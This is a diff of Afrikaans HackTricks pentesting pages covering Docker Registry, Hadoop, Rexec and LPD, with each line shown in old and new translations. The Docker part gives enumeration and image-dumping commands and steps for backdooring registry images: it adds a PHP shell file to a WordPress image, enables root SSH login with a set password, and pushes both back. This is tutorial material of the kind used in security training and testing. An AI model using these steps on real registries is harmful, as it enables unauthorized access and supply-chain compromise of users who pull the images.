'n Berging- en verspreidingsisteem bekend as 'n **Docker-register** is in plek vir Docker-beelde wat benoem is en in verskillende weergawes kan voorkom, onderskei deur etikette. Hierdie beelde is georganiseer binne **Docker-opgaarplekke** in die register, elke opgaarplek stoor verskillende weergawes van 'n spesifieke beeld. Die funksionaliteit wat verskaf word, maak dit moontlik om beelde lokaal af te laai of na die register te laai, mits die gebruiker die nodige toestemmings het.
|
||||
'n Berging en verspreidingstelsel bekend as 'n **Docker registry** is in plek vir Docker-prente wat genoem word en in verskeie weergawes kan voorkom, onderskei deur etikette. Hierdie prente is georganiseer binne **Docker repositories** in die registry, elke repository stoor verskillende weergawes van 'n spesifieke prent. Die funksionaliteit wat verskaf word, laat toe dat prente plaaslik afgelaai of na die registry opgelaai kan word, mits die gebruiker die nodige toestemmings het.
|
||||
|
||||
**DockerHub** dien as die verstek openbare register vir Docker, maar gebruikers het ook die opsie om 'n plaaslike weergawe van die oopbron Docker-register/verspreiding te bedryf of te kies vir die kommersieel ondersteunde **Docker Trusted Registry**. Daarbenewens kan verskeie ander openbare registerplekke aanlyn gevind word.
|
||||
**DockerHub** dien as die standaard openbare registry vir Docker, maar gebruikers het ook die opsie om 'n plaaslike weergawe van die oopbron Docker registry/verspreiding te bedryf of te kies vir die kommersieel ondersteun **Docker Trusted Registry**. Daarbenewens kan verskeie ander openbare registries aanlyn gevind word.
|
||||
|
||||
Om 'n beeld van 'n plaaslike register af te laai, word die volgende opdrag gebruik:
|
||||
Om 'n prent van 'n plaaslike registry af te laai, word die volgende opdrag gebruik:
|
||||
```bash
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
Hierdie bevel haal die `foo/bar` beeld weergawe `2.1` van die aan-premises register by die `my-registry` domein op poort `9000`. Om dieselfde beeld van DockerHub af te laai, veral as `2.1` die nuutste weergawe is, vereenvoudig die bevel na:
|
||||
Hierdie opdrag haal die `foo/bar` beeld weergawe `2.1` van die plaaslike registrasie by die `my-registry` domein op poort `9000`. Omgekeerd, om dieselfde beeld van DockerHub af te laai, veral as `2.1` die nuutste weergawe is, vereenvoudig die opdrag tot:
|
||||
```bash
|
||||
docker pull foo/bar
|
||||
```
|
||||
**Verstekpoort:** 5000
|
||||
**Standaard poort:** 5000
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5000/tcp open http Docker Registry (API: 2.0)
|
||||
```
|
||||
## Ontdekking
|
||||
|
||||
Die maklikste manier om hierdie diens te ontdek wat loop, is om dit op die uitset van nmap te kry. Hoe dan ook, let daarop dat dit 'n HTTP-gebaseerde diens kan wees wat agter HTTP-proksi's is en nmap sal dit nie opspoor nie.\
|
||||
Die maklikste manier om hierdie diens te ontdek wat loop, is om dit op die uitvoer van nmap te kry. In elk geval, let daarop dat, aangesien dit 'n HTTP-gebaseerde diens is, dit agter HTTP-proxies kan wees en nmap dit nie sal opspoor.\
|
||||
Sommige vingerafdrukke:
|
||||
|
||||
* As jy `/` toegang gee, word niks in die respons teruggegee nie
|
||||
* As jy `/v2/` toegang gee, word `{}` teruggegee
|
||||
* As jy `/v2/_catalog` toegang gee, kan jy kry:
|
||||
* As jy toegang tot `/` kry, word daar niks in die antwoord teruggestuur nie
|
||||
* As jy toegang tot `/v2/` kry, word `{}` teruggestuur
|
||||
* As jy toegang tot `/v2/_catalog` kry, kan jy verkry:
|
||||
* `{"repositories":["alpine","ubuntu"]}`
|
||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
## Opname
|
||||
## Enumerasie
|
||||
|
||||
### HTTP/HTTPS
|
||||
|
||||
Docker-register kan gekonfigureer word om **HTTP** of **HTTPS** te gebruik. Die eerste ding wat jy moet doen, is dus **uitvind watter een** gekonfigureer word:
|
||||
Docker registry kan gekonfigureer word om **HTTP** of **HTTPS** te gebruik. So die eerste ding wat jy dalk moet doen, is om **te vind watter een** geconfigureer word:
|
||||
```bash
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
#If HTTPS
|
||||
|
@ -59,9 +60,9 @@ Warning: <FILE>" to save to a file.
|
|||
#If HTTP
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
### Verifikasie
|
||||
### Authentisering
|
||||
|
||||
Docker-register kan ook ingestel word om **verifikasie** te vereis:
|
||||
Docker registry kan ook gekonfigureer word om **authentisering** te vereis:
|
||||
```bash
|
||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||
#If Authentication required
|
||||
|
@ -69,20 +70,68 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
|||
#If no authentication required
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
As die Docker Register verifikasie vereis, kan jy probeer om dit te kragtig deur dit te [brute force](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**As jy geldige geloofsbriewe vind, sal jy dit moet gebruik** om die register op te som, in `curl` kan jy dit so gebruik:
|
||||
As die Docker Registry outentisering vereis, kan jy[ **probeer om dit te brute force met hierdie**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**As jy geldige akrediteerbesonderhede vind, sal jy dit moet gebruik** om die registry te enumerate, in `curl` kan jy dit soos volg gebruik:
|
||||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
### Enumerasie met behulp van DockerRegistryGrabber
|
||||
### Enumerasie met DockerRegistryGrabber
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is 'n Python-hulpmiddel om 'n Docker-registreering te enumereer / dump (sonder of met basiese outentifikasie).
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is 'n python-gereedskap om docker registrasie te enumereer / te dump (sonder of met basiese outentisering)
|
||||
```bash
|
||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||
|
||||
____ ____ ____
|
||||
| _ \ | _ \ / ___|
|
||||
| | | || |_) || | _
|
||||
| |_| || _ < | |_| |
|
||||
|____/ |_| \_\ \____|
|
||||
Docker Registry grabber tool v2
|
||||
by @SyzikSecu
|
||||
|
||||
positional arguments:
|
||||
url URL
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-p port port to use (default : 5000)
|
||||
|
||||
Authentication:
|
||||
-U USERNAME Username
|
||||
-P PASSWORD Password
|
||||
-A header Authorization bearer token
|
||||
|
||||
Actions:
|
||||
--list
|
||||
--dump_all
|
||||
--dump DOCKERNAME DockerName
|
||||
|
||||
Example commands:
|
||||
python drg.py http://127.0.0.1 --list
|
||||
python drg.py http://127.0.0.1 --dump my-ubuntu
|
||||
python drg.py http://127.0.0.1 --dump_all
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --list
|
||||
|
||||
[+] my-ubuntu
|
||||
[+] my-ubuntu2
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||||
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||
|
||||
[+] my-ubuntu
|
||||
|
@ -101,21 +150,10 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||||
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
### Enumerasie met behulp van curl
|
||||
### Enumeration using curl
|
||||
|
||||
Sodra jy toegang tot die Docker-register verkry het, is hier 'n paar opdragte wat jy kan gebruik om dit te enumereer:
|
||||
Sodra jy **toegang tot die docker registry verkry het**, is hier 'n paar opdragte wat jy kan gebruik om dit te evalueer:
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
|
@ -179,10 +217,10 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
|||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat wanneer jy die blobs lêers aflaai en dekomprimeer, sal lêers en vouers in die huidige gids verskyn. **As jy al die blobs aflaai en hulle in dieselfde vouer dekomprimeer, sal waardes van vorige gedekomprimeerde blobs oorskryf word**, so wees versigtig. Dit mag interessant wees om elke blob binne 'n ander vouer te dekomprimeer om die presiese inhoud van elke blob te ondersoek.
|
||||
Let daarop dat wanneer jy die blobs lêers aflaai en dekomprimeer, sal lêers en mappen in die huidige gids verskyn. **As jy al die blobs aflaai en in dieselfde gids dekomprimeer, sal hulle waardes van die voorheen gedecomprimeerde blobs oorskryf**, so wees versigtig. Dit mag interessant wees om elke blob binne 'n ander gids te dekomprimeer om die presiese inhoud van elke blob te ondersoek.
|
||||
{% endhint %}
|
||||
|
||||
### Enumerasie met behulp van Docker
|
||||
### Enumerasie met behulp van docker
|
||||
```bash
|
||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||
docker pull 10.10.10.10:5000/ubuntu
|
||||
|
@ -201,10 +239,10 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
### Backdooring WordPress-beeld
|
||||
### Backdooring WordPress image
|
||||
|
||||
In die scenario waar jy 'n Docker Registry gevind het wat 'n WordPress-beeld stoor, kan jy dit agterdeur gee.
|
||||
**Skep** die **agterdeur**:
|
||||
In die scenario waar jy 'n Docker Registry gevind het wat 'n wordpress beeld stoor, kan jy dit backdoor.\
|
||||
**Skep** die **backdoor**:
|
||||
|
||||
{% code title="shell.php" %}
|
||||
```bash
|
||||
|
@ -222,28 +260,28 @@ RUN chmod 777 /app/shell.php
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Skep** die nuwe prent, **kontroleer** of dit geskep is, en **stoot** dit:
|
||||
**Skep** die nuwe beeld, **kontroleer** of dit geskep is, en **druk** dit:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/wordpress #Push it
|
||||
```
|
||||
### Agterdeur SSH-bedienerbeeld
|
||||
### Backdooring SSH server image
|
||||
|
||||
Stel dat jy 'n Docker Registry met 'n SSH-beeld gevind het en jy wil dit agterdeur.\
|
||||
**Laai** die beeld af en **voer** dit uit:
|
||||
Neem aan dat jy 'n Docker Registry met 'n SSH beeld gevind het en jy wil dit backdoor.\
|
||||
**Laai af** die beeld en **voer** dit uit:
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||
```
|
||||
Haal die `sshd_config` lêer uit die SSH prent:
|
||||
Haal die `sshd_config` lêer uit die SSH beeld:
|
||||
```bash
|
||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||
```
|
||||
En wysig dit om `PermitRootLogin yes` in te stel.
|
||||
En wysig dit om in te stel: `PermitRootLogin yes`
|
||||
|
||||
Skep 'n **Dockerfile** soos die volgende:
|
||||
Skep 'n **Dockerfile** soos die volgende een:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dockerfile" %}
|
||||
|
@ -255,7 +293,7 @@ RUN echo root:password | chpasswd
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Skep** die nuwe prent, **kontroleer** of dit geskep is, en **stoot** dit:
|
||||
**Skep** die nuwe beeld, **kontroleer** of dit geskep is, en **druk** dit:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
|
@ -265,16 +303,17 @@ docker push registry:5000/sshd-docker-cli #Push it
|
|||
## Verwysings
|
||||
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Basiese Inligting**
|
||||
|
||||
**Apache Hadoop** is 'n **open-source raamwerk** vir **verspreide stoor en verwerking** van **groot datastelle** oor **rekenaarclusters**. Dit gebruik **HDFS** vir stoor en **MapReduce** vir verwerking.
|
||||
**Apache Hadoop** is 'n **oopbron raamwerk** vir **verspreide stoor en verwerking** van **groot datastelle** oor **rekenaar klusters**. Dit gebruik **HDFS** vir stoor en **MapReduce** vir verwerking.
|
||||
|
||||
Ongelukkig het Hadoop nie ondersteuning in die Metasploit-raamwerk ten tye van dokumentasie nie. Jy kan egter die volgende **Nmap-skripte** gebruik om Hadoop-dienste op te som:
|
||||
Ongelukkig ontbreek ondersteuning vir Hadoop in die Metasploit raamwerk ten tyde van dokumentasie. U kan egter die volgende **Nmap skripte** gebruik om Hadoop dienste te evalueer:
|
||||
|
||||
- **`hadoop-jobtracker-info (Port 50030)`**
|
||||
- **`hadoop-tasktracker-info (Port 50060)`**
|
||||
|
@ -26,18 +27,4 @@ Ongelukkig het Hadoop nie ondersteuning in die Metasploit-raamwerk ten tye van d
|
|||
- **`hadoop-secondary-namenode-info (Port 50090)`**
|
||||
|
||||
|
||||
Dit is belangrik om op te merk dat **Hadoop sonder outentifikasie in sy verstekopset werk**. Daar is egter konfigurasies beskikbaar vir verbeterde sekuriteit om Kerberos met HDFS, YARN en MapReduce-dienste te integreer.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslag.
|
||||
|
||||
</details>
|
||||
Dit is van kardinale belang om op te let dat **Hadoop sonder verifikasie in sy standaardopstelling werk**. Vir verbeterde sekuriteit is konfigurasies beskikbaar om Kerberos met HDFS, YARN, en MapReduce dienste te integreer.
|
||||
|
|
|
@ -1,40 +1,42 @@
|
|||
# 512 - Pentesting Rexec
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Dit is 'n diens wat jou toelaat om 'n bevel binne 'n gasheer uit te voer as jy geldige **legitimasie** (gebruikersnaam en wagwoord) weet.
|
||||
Dit is 'n diens wat **jou toelaat om 'n opdrag binne 'n gasheer uit te voer** as jy geldige **bewyse** (gebruikersnaam en wagwoord) ken.
|
||||
|
||||
**Verstekpoort:** 512
|
||||
**Standaard Poort:** 512
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
512/tcp open exec
|
||||
```
|
||||
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### **Inleiding tot die LPD-protokol**
|
||||
### **Inleiding tot LPD Protokol**
|
||||
|
||||
